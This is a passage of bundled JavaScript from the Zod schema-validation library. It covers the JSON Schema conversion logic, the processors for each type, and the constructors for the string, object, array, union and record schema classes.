cyclical schemas with defs.`);\n }\n for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (schema === entry[0]) {\n extractToDef(entry);\n continue;\n }\n if (ctx.external) {\n const ext = ctx.external.registry.get(entry[0])?.id;\n if (schema !== entry[0] && ext) {\n extractToDef(entry);\n continue;\n }\n }\n if (ctx.metadataRegistry.get(entry[0])?.id) {\n extractToDef(entry);\n continue;\n }\n if (seen.cycle) {\n extractToDef(entry);\n continue;\n }\n if (seen.count > 1) {\n if (ctx.reused === \"ref\") {\n extractToDef(entry);\n continue;\n }\n }\n }\n}\nfunction finalize(ctx, schema) {\n const root = ctx.seen.get(schema);\n if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n const flattenRef = (zodSchema) => {\n const seen = ctx.seen.get(zodSchema);\n if (seen.ref === null) return;\n const schema = seen.def ?? seen.schema;\n const _cached = { ...schema };\n const ref = seen.ref;\n seen.ref = null;\n if (ref) {\n flattenRef(ref);\n const refSeen = ctx.seen.get(ref);\n const refSchema = refSeen.schema;\n if (refSchema.$ref && (ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\")) {\n schema.allOf = schema.allOf ?? [];\n schema.allOf.push(refSchema);\n } else Object.assign(schema, refSchema);\n Object.assign(schema, _cached);\n if (zodSchema._zod.parent === ref) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (!(key in _cached)) delete schema[key];\n }\n if (refSchema.$ref && refSeen.def) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (key in refSeen.def && JSON.stringify(schema[key]) === JSON.stringify(refSeen.def[key])) delete schema[key];\n }\n }\n const parent = zodSchema._zod.parent;\n if (parent && parent !== ref) {\n flattenRef(parent);\n const parentSeen = ctx.seen.get(parent);\n if (parentSeen?.schema.$ref) {\n schema.$ref = parentSeen.schema.$ref;\n if (parentSeen.def) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (key in parentSeen.def && JSON.stringify(schema[key]) === JSON.stringify(parentSeen.def[key])) delete schema[key];\n }\n }\n }\n ctx.override({\n zodSchema,\n jsonSchema: schema,\n path: seen.path ?? []\n });\n };\n for (const entry of [...ctx.seen.entries()].reverse()) flattenRef(entry[0]);\n const result = {};\n if (ctx.target === \"draft-2020-12\") result.$schema = \"https://json-schema.org/draft/2020-12/schema\";\n else if (ctx.target === \"draft-07\") result.$schema = \"http://json-schema.org/draft-07/schema#\";\n else if (ctx.target === \"draft-04\") result.$schema = \"http://json-schema.org/draft-04/schema#\";\n else if (ctx.target === \"openapi-3.0\") {}\n if (ctx.external?.uri) {\n const id = ctx.external.registry.get(schema)?.id;\n if (!id) throw new Error(\"Schema is missing an `id` property\");\n result.$id = ctx.external.uri(id);\n }\n Object.assign(result, root.def ?? root.schema);\n const rootMetaId = ctx.metadataRegistry.get(schema)?.id;\n if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id;\n const defs = ctx.external?.defs ?? {};\n for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (seen.def && seen.defId) {\n if (seen.def.id === seen.defId) delete seen.def.id;\n defs[seen.defId] = seen.def;\n }\n }\n if (ctx.external) {} else if (Object.keys(defs).length > 0) if (ctx.target === \"draft-2020-12\") result.$defs = defs;\n else result.definitions = defs;\n try {\n const finalized = JSON.parse(JSON.stringify(result));\n Object.defineProperty(finalized, \"~standard\", {\n value: {\n ...schema[\"~standard\"],\n jsonSchema: {\n input: createStandardJSONSchemaMethod(schema, \"input\", ctx.processors),\n output: createStandardJSONSchemaMethod(schema, \"output\", ctx.processors)\n }\n },\n enumerable: false,\n writable: false\n });\n return finalized;\n } catch (_err) {\n throw new Error(\"Error converting schema to JSON.\");\n }\n}\nfunction isTransforming(_schema, _ctx) {\n const ctx = _ctx ?? { seen: /* @__PURE__ */ new Set() };\n if (ctx.seen.has(_schema)) return false;\n ctx.seen.add(_schema);\n const def = _schema._zod.def;\n if (def.type === \"transform\") return true;\n if (def.type === \"array\") return isTransforming(def.element, ctx);\n if (def.type === \"set\") return isTransforming(def.valueType, ctx);\n if (def.type === \"lazy\") return isTransforming(def.getter(), ctx);\n if (def.type === \"promise\" || def.type === \"optional\" || def.type === \"nonoptional\" || def.type === \"nullable\" || def.type === \"readonly\" || def.type === \"default\" || def.type === \"prefault\") return isTransforming(def.innerType, ctx);\n if (def.type === \"intersection\") return isTransforming(def.left, ctx) || isTransforming(def.right, ctx);\n if (def.type === \"record\" || def.type === \"map\") return isTransforming(def.keyType, ctx) || isTransforming(def.valueType, ctx);\n if (def.type === \"pipe\") {\n if (_schema._zod.traits.has(\"$ZodCodec\")) return true;\n return isTransforming(def.in, ctx) || isTransforming(def.out, ctx);\n }\n if (def.type === \"object\") {\n for (const key in def.shape) if (isTransforming(def.shape[key], ctx)) return true;\n return false;\n }\n if (def.type === \"union\") {\n for (const option of def.options) if (isTransforming(option, ctx)) return true;\n return false;\n }\n if (def.type === \"tuple\") {\n for (const item of def.items) if (isTransforming(item, ctx)) return true;\n if (def.rest && isTransforming(def.rest, ctx)) return true;\n return false;\n }\n return false;\n}\n/**\n* Creates a toJSONSchema method for a schema instance.\n* This encapsulates the logic of initializing context, processing, extracting defs, and finalizing.\n*/\nconst createToJSONSchemaMethod = (schema, processors = {}) => (params) => {\n const ctx = initializeContext({\n ...params,\n processors\n });\n process$1(schema, ctx);\n extractDefs(ctx, schema);\n return finalize(ctx, schema);\n};\nconst createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => {\n const { libraryOptions, target } = params ?? {};\n const ctx = initializeContext({\n ...libraryOptions ?? {},\n target,\n io,\n processors\n });\n process$1(schema, ctx);\n extractDefs(ctx, schema);\n return finalize(ctx, schema);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js\nconst formatMap = {\n guid: \"uuid\",\n url: \"uri\",\n datetime: \"date-time\",\n json_string: \"json-string\",\n regex: \"\"\n};\nconst stringProcessor = (schema, ctx, _json, _params) => {\n const json = _json;\n json.type = \"string\";\n const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag;\n if (typeof minimum === \"number\") json.minLength = minimum;\n if (typeof maximum === \"number\") json.maxLength = maximum;\n if (format) {\n json.format = formatMap[format] ?? format;\n if (json.format === \"\") delete json.format;\n if (format === \"time\") delete json.format;\n }\n if (contentEncoding) json.contentEncoding = contentEncoding;\n if (patterns && patterns.size > 0) {\n const regexes = [...patterns];\n if (regexes.length === 1) json.pattern = regexes[0].source;\n else if (regexes.length > 1) json.allOf = [...regexes.map((regex) => ({\n ...ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\" ? { type: \"string\" } : {},\n pattern: regex.source\n }))];\n }\n};\nconst neverProcessor = (_schema, _ctx, json, _params) => {\n json.not = {};\n};\nconst unknownProcessor = (_schema, _ctx, _json, _params) => {};\nconst enumProcessor = (schema, _ctx, json, _params) => {\n const def = schema._zod.def;\n const values = getEnumValues(def.entries);\n if (values.every((v) => typeof v === \"number\")) json.type = \"number\";\n if (values.every((v) => typeof v === \"string\")) json.type = \"string\";\n json.enum = values;\n};\nconst customProcessor = (_schema, ctx, _json, _params) => {\n if (ctx.unrepresentable === \"throw\") throw new Error(\"Custom types cannot be represented in JSON Schema\");\n};\nconst transformProcessor = (_schema, ctx, _json, _params) => {\n if (ctx.unrepresentable === \"throw\") throw new Error(\"Transforms cannot be represented in JSON Schema\");\n};\nconst arrayProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n const { minimum, maximum } = schema._zod.bag;\n if (typeof minimum === \"number\") json.minItems = minimum;\n if (typeof maximum === \"number\") json.maxItems = maximum;\n json.type = \"array\";\n json.items = process$1(def.element, ctx, {\n ...params,\n path: [...params.path, \"items\"]\n });\n};\nconst objectProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n json.type = \"object\";\n json.properties = {};\n const shape = def.shape;\n for (const key in shape) json.properties[key] = process$1(shape[key], ctx, {\n ...params,\n path: [\n ...params.path,\n \"properties\",\n key\n ]\n });\n const allKeys = new Set(Object.keys(shape));\n const requiredKeys = new Set([...allKeys].filter((key) => {\n const v = def.shape[key]._zod;\n if (ctx.io === \"input\") return v.optin === void 0;\n else return v.optout === void 0;\n }));\n if (requiredKeys.size > 0) json.required = Array.from(requiredKeys);\n if (def.catchall?._zod.def.type === \"never\") json.additionalProperties = false;\n else if (!def.catchall) {\n if (ctx.io === \"output\") json.additionalProperties = false;\n } else if (def.catchall) json.additionalProperties = process$1(def.catchall, ctx, {\n ...params,\n path: [...params.path, \"additionalProperties\"]\n });\n};\nconst unionProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const isExclusive = def.inclusive === false;\n const options = def.options.map((x, i) => process$1(x, ctx, {\n ...params,\n path: [\n ...params.path,\n isExclusive ? \"oneOf\" : \"anyOf\",\n i\n ]\n }));\n if (isExclusive) json.oneOf = options;\n else json.anyOf = options;\n};\nconst intersectionProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const a = process$1(def.left, ctx, {\n ...params,\n path: [\n ...params.path,\n \"allOf\",\n 0\n ]\n });\n const b = process$1(def.right, ctx, {\n ...params,\n path: [\n ...params.path,\n \"allOf\",\n 1\n ]\n });\n const isSimpleIntersection = (val) => \"allOf\" in val && Object.keys(val).length === 1;\n json.allOf = [...isSimpleIntersection(a) ? a.allOf : [a], ...isSimpleIntersection(b) ? b.allOf : [b]];\n};\nconst recordProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n json.type = \"object\";\n const keyType = def.keyType;\n const patterns = keyType._zod.bag?.patterns;\n if (def.mode === \"loose\" && patterns && patterns.size > 0) {\n const valueSchema = process$1(def.valueType, ctx, {\n ...params,\n path: [\n ...params.path,\n \"patternProperties\",\n \"*\"\n ]\n });\n json.patternProperties = {};\n for (const pattern of patterns) json.patternProperties[pattern.source] = valueSchema;\n } else {\n if (ctx.target === \"draft-07\" || ctx.target === \"draft-2020-12\") json.propertyNames = process$1(def.keyType, ctx, {\n ...params,\n path: [...params.path, \"propertyNames\"]\n });\n json.additionalProperties = process$1(def.valueType, ctx, {\n ...params,\n path: [...params.path, \"additionalProperties\"]\n });\n }\n const keyValues = keyType._zod.values;\n if (keyValues) {\n const validKeyValues = [...keyValues].filter((v) => typeof v === \"string\" || typeof v === \"number\");\n if (validKeyValues.length > 0) json.required = validKeyValues;\n }\n};\nconst nullableProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const inner = process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n if (ctx.target === \"openapi-3.0\") {\n seen.ref = def.innerType;\n json.nullable = true;\n } else json.anyOf = [inner, { type: \"null\" }];\n};\nconst nonoptionalProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n};\nconst defaultProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n json.default = JSON.parse(JSON.stringify(def.defaultValue));\n};\nconst prefaultProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n if (ctx.io === \"input\") json._prefault = JSON.parse(JSON.stringify(def.defaultValue));\n};\nconst catchProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n let catchValue;\n try {\n catchValue = def.catchValue(void 0);\n } catch {\n throw new Error(\"Dynamic catch values are not supported in JSON Schema\");\n }\n json.default = catchValue;\n};\nconst pipeProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n const inIsTransform = def.in._zod.traits.has(\"$ZodTransform\");\n const innerType = ctx.io === \"input\" ? inIsTransform ? def.out : def.in : def.out;\n process$1(innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = innerType;\n};\nconst readonlyProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n json.readOnly = true;\n};\nconst optionalProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js\nconst ZodISODateTime = /*@__PURE__*/ $constructor(\"ZodISODateTime\", (inst, def) => {\n $ZodISODateTime.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction datetime(params) {\n return _isoDateTime(ZodISODateTime, params);\n}\nconst ZodISODate = /*@__PURE__*/ $constructor(\"ZodISODate\", (inst, def) => {\n $ZodISODate.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction date(params) {\n return _isoDate(ZodISODate, params);\n}\nconst ZodISOTime = /*@__PURE__*/ $constructor(\"ZodISOTime\", (inst, def) => {\n $ZodISOTime.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction time(params) {\n return _isoTime(ZodISOTime, params);\n}\nconst ZodISODuration = /*@__PURE__*/ $constructor(\"ZodISODuration\", (inst, def) => {\n $ZodISODuration.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction duration(params) {\n return _isoDuration(ZodISODuration, params);\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js\nconst initializer = (inst, issues) => {\n $ZodError.init(inst, issues);\n inst.name = \"ZodError\";\n Object.defineProperties(inst, {\n format: { value: (mapper) => formatError(inst, mapper) },\n flatten: { value: (mapper) => flattenError(inst, mapper) },\n addIssue: { value: (issue) => {\n inst.issues.push(issue);\n inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2);\n } },\n addIssues: { value: (issues) => {\n inst.issues.push(...issues);\n inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2);\n } },\n isEmpty: { get() {\n return inst.issues.length === 0;\n } }\n });\n};\nconst ZodRealError = /*@__PURE__*/ $constructor(\"ZodError\", initializer, { Parent: Error });\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js\nconst parse = /* @__PURE__ */ _parse(ZodRealError);\nconst parseAsync = /* @__PURE__ */ _parseAsync(ZodRealError);\nconst safeParse = /* @__PURE__ */ _safeParse(ZodRealError);\nconst safeParseAsync = /* @__PURE__ */ _safeParseAsync(ZodRealError);\nconst encode = /* @__PURE__ */ _encode(ZodRealError);\nconst decode = /* @__PURE__ */ _decode(ZodRealError);\nconst encodeAsync = /* @__PURE__ */ _encodeAsync(ZodRealError);\nconst decodeAsync = /* @__PURE__ */ _decodeAsync(ZodRealError);\nconst safeEncode = /* @__PURE__ */ _safeEncode(ZodRealError);\nconst safeDecode = /* @__PURE__ */ _safeDecode(ZodRealError);\nconst safeEncodeAsync = /* @__PURE__ */ _safeEncodeAsync(ZodRealError);\nconst safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync(ZodRealError);\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js\nconst _installedGroups = /* @__PURE__ */ new WeakMap();\nfunction _installLazyMethods(inst, group, methods) {\n const proto = Object.getPrototypeOf(inst);\n let installed = _installedGroups.get(proto);\n if (!installed) {\n installed = /* @__PURE__ */ new Set();\n _installedGroups.set(proto, installed);\n }\n if (installed.has(group)) return;\n installed.add(group);\n for (const key in methods) {\n const fn = methods[key];\n Object.defineProperty(proto, key, {\n configurable: true,\n enumerable: false,\n get() {\n const bound = fn.bind(this);\n Object.defineProperty(this, key, {\n configurable: true,\n writable: true,\n enumerable: true,\n value: bound\n });\n return bound;\n },\n set(v) {\n Object.defineProperty(this, key, {\n configurable: true,\n writable: true,\n enumerable: true,\n value: v\n });\n }\n });\n }\n}\nconst ZodType = /*@__PURE__*/ $constructor(\"ZodType\", (inst, def) => {\n $ZodType.init(inst, def);\n Object.assign(inst[\"~standard\"], { jsonSchema: {\n input: createStandardJSONSchemaMethod(inst, \"input\"),\n output: createStandardJSONSchemaMethod(inst, \"output\")\n } });\n inst.toJSONSchema = createToJSONSchemaMethod(inst, {});\n inst.def = def;\n inst.type = def.type;\n Object.defineProperty(inst, \"_def\", { value: def });\n inst.parse = (data, params) => parse(inst, data, params, { callee: inst.parse });\n inst.safeParse = (data, params) => safeParse(inst, data, params);\n inst.parseAsync = async (data, params) => parseAsync(inst, data, params, { callee: inst.parseAsync });\n inst.safeParseAsync = async (data, params) => safeParseAsync(inst, data, params);\n inst.spa = inst.safeParseAsync;\n inst.encode = (data, params) => encode(inst, data, params);\n inst.decode = (data, params) => decode(inst, data, params);\n inst.encodeAsync = async (data, params) => encodeAsync(inst, data, params);\n inst.decodeAsync = async (data, params) => decodeAsync(inst, data, params);\n inst.safeEncode = (data, params) => safeEncode(inst, data, params);\n inst.safeDecode = (data, params) => safeDecode(inst, data, params);\n inst.safeEncodeAsync = async (data, params) => safeEncodeAsync(inst, data, params);\n inst.safeDecodeAsync = async (data, params) => safeDecodeAsync(inst, data, params);\n _installLazyMethods(inst, \"ZodType\", {\n check(...chks) {\n const def = this.def;\n return this.clone(mergeDefs(def, { checks: [...def.checks ?? [], ...chks.map((ch) => typeof ch === \"function\" ? { _zod: {\n check: ch,\n def: { check: \"custom\" },\n onattach: []\n } } : ch)] }), { parent: true });\n },\n with(...chks) {\n return this.check(...chks);\n },\n clone(def, params) {\n return clone(this, def, params);\n },\n brand() {\n return this;\n },\n register(reg, meta) {\n reg.add(this, meta);\n return this;\n },\n refine(check, params) {\n return this.check(refine(check, params));\n },\n superRefine(refinement, params) {\n return this.check(superRefine(refinement, params));\n },\n overwrite(fn) {\n return this.check(_overwrite(fn));\n },\n optional() {\n return optional(this);\n },\n exactOptional() {\n return exactOptional(this);\n },\n nullable() {\n return nullable(this);\n },\n nullish() {\n return optional(nullable(this));\n },\n nonoptional(params) {\n return nonoptional(this, params);\n },\n array() {\n return array(this);\n },\n or(arg) {\n return union([this, arg]);\n },\n and(arg) {\n return intersection(this, arg);\n },\n transform(tx) {\n return pipe(this, transform(tx));\n },\n default(d) {\n return _default(this, d);\n },\n prefault(d) {\n return prefault(this, d);\n },\n catch(params) {\n return _catch(this, params);\n },\n pipe(target) {\n return pipe(this, target);\n },\n readonly() {\n return readonly(this);\n },\n describe(description) {\n const cl = this.clone();\n globalRegistry.add(cl, { description });\n return cl;\n },\n meta(...args) {\n if (args.length === 0) return globalRegistry.get(this);\n const cl = this.clone();\n globalRegistry.add(cl, args[0]);\n return cl;\n },\n isOptional() {\n return this.safeParse(void 0).success;\n },\n isNullable() {\n return this.safeParse(null).success;\n },\n apply(fn) {\n return fn(this);\n }\n });\n Object.defineProperty(inst, \"description\", {\n get() {\n return globalRegistry.get(inst)?.description;\n },\n configurable: true\n });\n return inst;\n});\n/** @internal */\nconst _ZodString = /*@__PURE__*/ $constructor(\"_ZodString\", (inst, def) => {\n $ZodString.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => stringProcessor(inst, ctx, json, params);\n const bag = inst._zod.bag;\n inst.format = bag.format ?? null;\n inst.minLength = bag.minimum ?? null;\n inst.maxLength = bag.maximum ?? null;\n _installLazyMethods(inst, \"_ZodString\", {\n regex(...args) {\n return this.check(_regex(...args));\n },\n includes(...args) {\n return this.check(_includes(...args));\n },\n startsWith(...args) {\n return this.check(_startsWith(...args));\n },\n endsWith(...args) {\n return this.check(_endsWith(...args));\n },\n min(...args) {\n return this.check(_minLength(...args));\n },\n max(...args) {\n return this.check(_maxLength(...args));\n },\n length(...args) {\n return this.check(_length(...args));\n },\n nonempty(...args) {\n return this.check(_minLength(1, ...args));\n },\n lowercase(params) {\n return this.check(_lowercase(params));\n },\n uppercase(params) {\n return this.check(_uppercase(params));\n },\n trim() {\n return this.check(_trim());\n },\n normalize(...args) {\n return this.check(_normalize(...args));\n },\n toLowerCase() {\n return this.check(_toLowerCase());\n },\n toUpperCase() {\n return this.check(_toUpperCase());\n },\n slugify() {\n return this.check(_slugify());\n }\n });\n});\nconst ZodString = /*@__PURE__*/ $constructor(\"ZodString\", (inst, def) => {\n $ZodString.init(inst, def);\n _ZodString.init(inst, def);\n inst.email = (params) => inst.check(_email(ZodEmail, params));\n inst.url = (params) => inst.check(_url(ZodURL, params));\n inst.jwt = (params) => inst.check(_jwt(ZodJWT, params));\n inst.emoji = (params) => inst.check(_emoji(ZodEmoji, params));\n inst.guid = (params) => inst.check(_guid(ZodGUID, params));\n inst.uuid = (params) => inst.check(_uuid(ZodUUID, params));\n inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params));\n inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params));\n inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params));\n inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params));\n inst.guid = (params) => inst.check(_guid(ZodGUID, params));\n inst.cuid = (params) => inst.check(_cuid(ZodCUID, params));\n inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params));\n inst.ulid = (params) => inst.check(_ulid(ZodULID, params));\n inst.base64 = (params) => inst.check(_base64(ZodBase64, params));\n inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params));\n inst.xid = (params) => inst.check(_xid(ZodXID, params));\n inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params));\n inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params));\n inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params));\n inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params));\n inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params));\n inst.e164 = (params) => inst.check(_e164(ZodE164, params));\n inst.datetime = (params) => inst.check(datetime(params));\n inst.date = (params) => inst.check(date(params));\n inst.time = (params) => inst.check(time(params));\n inst.duration = (params) => inst.check(duration(params));\n});\nfunction string(params) {\n return _string(ZodString, params);\n}\nconst ZodStringFormat = /*@__PURE__*/ $constructor(\"ZodStringFormat\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n _ZodString.init(inst, def);\n});\nconst ZodEmail = /*@__PURE__*/ $constructor(\"ZodEmail\", (inst, def) => {\n $ZodEmail.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodGUID = /*@__PURE__*/ $constructor(\"ZodGUID\", (inst, def) => {\n $ZodGUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodUUID = /*@__PURE__*/ $constructor(\"ZodUUID\", (inst, def) => {\n $ZodUUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodURL = /*@__PURE__*/ $constructor(\"ZodURL\", (inst, def) => {\n $ZodURL.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodEmoji = /*@__PURE__*/ $constructor(\"ZodEmoji\", (inst, def) => {\n $ZodEmoji.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodNanoID = /*@__PURE__*/ $constructor(\"ZodNanoID\", (inst, def) => {\n $ZodNanoID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst ZodCUID = /*@__PURE__*/ $constructor(\"ZodCUID\", (inst, def) => {\n $ZodCUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCUID2 = /*@__PURE__*/ $constructor(\"ZodCUID2\", (inst, def) => {\n $ZodCUID2.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodULID = /*@__PURE__*/ $constructor(\"ZodULID\", (inst, def) => {\n $ZodULID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodXID = /*@__PURE__*/ $constructor(\"ZodXID\", (inst, def) => {\n $ZodXID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodKSUID = /*@__PURE__*/ $constructor(\"ZodKSUID\", (inst, def) => {\n $ZodKSUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodIPv4 = /*@__PURE__*/ $constructor(\"ZodIPv4\", (inst, def) => {\n $ZodIPv4.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodIPv6 = /*@__PURE__*/ $constructor(\"ZodIPv6\", (inst, def) => {\n $ZodIPv6.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv4 = /*@__PURE__*/ $constructor(\"ZodCIDRv4\", (inst, def) => {\n $ZodCIDRv4.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv6 = /*@__PURE__*/ $constructor(\"ZodCIDRv6\", (inst, def) => {\n $ZodCIDRv6.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodBase64 = /*@__PURE__*/ $constructor(\"ZodBase64\", (inst, def) => {\n $ZodBase64.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodBase64URL = /*@__PURE__*/ $constructor(\"ZodBase64URL\", (inst, def) => {\n $ZodBase64URL.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodE164 = /*@__PURE__*/ $constructor(\"ZodE164\", (inst, def) => {\n $ZodE164.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodJWT = /*@__PURE__*/ $constructor(\"ZodJWT\", (inst, def) => {\n $ZodJWT.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodUnknown = /*@__PURE__*/ $constructor(\"ZodUnknown\", (inst, def) => {\n $ZodUnknown.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => unknownProcessor(inst, ctx, json, params);\n});\nfunction unknown() {\n return _unknown(ZodUnknown);\n}\nconst ZodNever = /*@__PURE__*/ $constructor(\"ZodNever\", (inst, def) => {\n $ZodNever.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => neverProcessor(inst, ctx, json, params);\n});\nfunction never(params) {\n return _never(ZodNever, params);\n}\nconst ZodArray = /*@__PURE__*/ $constructor(\"ZodArray\", (inst, def) => {\n $ZodArray.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => arrayProcessor(inst, ctx, json, params);\n inst.element = def.element;\n _installLazyMethods(inst, \"ZodArray\", {\n min(n, params) {\n return this.check(_minLength(n, params));\n },\n nonempty(params) {\n return this.check(_minLength(1, params));\n },\n max(n, params) {\n return this.check(_maxLength(n, params));\n },\n length(n, params) {\n return this.check(_length(n, params));\n },\n unwrap() {\n return this.element;\n }\n });\n});\nfunction array(element, params) {\n return _array(ZodArray, element, params);\n}\nconst ZodObject = /*@__PURE__*/ $constructor(\"ZodObject\", (inst, def) => {\n $ZodObjectJIT.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => objectProcessor(inst, ctx, json, params);\n defineLazy(inst, \"shape\", () => {\n return def.shape;\n });\n _installLazyMethods(inst, \"ZodObject\", {\n keyof() {\n return _enum(Object.keys(this._zod.def.shape));\n },\n catchall(catchall) {\n return this.clone({\n ...this._zod.def,\n catchall\n });\n },\n passthrough() {\n return this.clone({\n ...this._zod.def,\n catchall: unknown()\n });\n },\n loose() {\n return this.clone({\n ...this._zod.def,\n catchall: unknown()\n });\n },\n strict() {\n return this.clone({\n ...this._zod.def,\n catchall: never()\n });\n },\n strip() {\n return this.clone({\n ...this._zod.def,\n catchall: void 0\n });\n },\n extend(incoming) {\n return extend(this, incoming);\n },\n safeExtend(incoming) {\n return safeExtend(this, incoming);\n },\n merge(other) {\n return merge(this, other);\n },\n pick(mask) {\n return pick(this, mask);\n },\n omit(mask) {\n return omit(this, mask);\n },\n partial(...args) {\n return partial(ZodOptional, this, args[0]);\n },\n required(...args) {\n return required(ZodNonOptional, this, args[0]);\n }\n });\n});\nfunction object(shape, params) {\n return new ZodObject({\n type: \"object\",\n shape: shape ?? {},\n ...normalizeParams(params)\n });\n}\nconst ZodUnion = /*@__PURE__*/ $constructor(\"ZodUnion\", (inst, def) => {\n $ZodUnion.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => unionProcessor(inst, ctx, json, params);\n inst.options = def.options;\n});\nfunction union(options, params) {\n return new ZodUnion({\n type: \"union\",\n options,\n ...normalizeParams(params)\n });\n}\nconst ZodIntersection = /*@__PURE__*/ $constructor(\"ZodIntersection\", (inst, def) => {\n $ZodIntersection.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => intersectionProcessor(inst, ctx, json, params);\n});\nfunction intersection(left, right) {\n return new ZodIntersection({\n type: \"intersection\",\n left,\n right\n });\n}\nconst ZodRecord = /*@__PURE__*/ $constructor(\"ZodRecord\", (inst, def) => {\n $ZodRecord.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => recordProcessor(inst, ctx, json, params);\n inst.keyType = def.keyType;\n inst.valueType = def.valueType;\n});\nfunction record(keyType, valueType, params) {\n if (!valueType || !valueType._zod) return new ZodRecord({\n type: \"record\",\n keyType: string(),\n valueType: keyType,\n ...normalizeParams(valueType)\n });\n return new 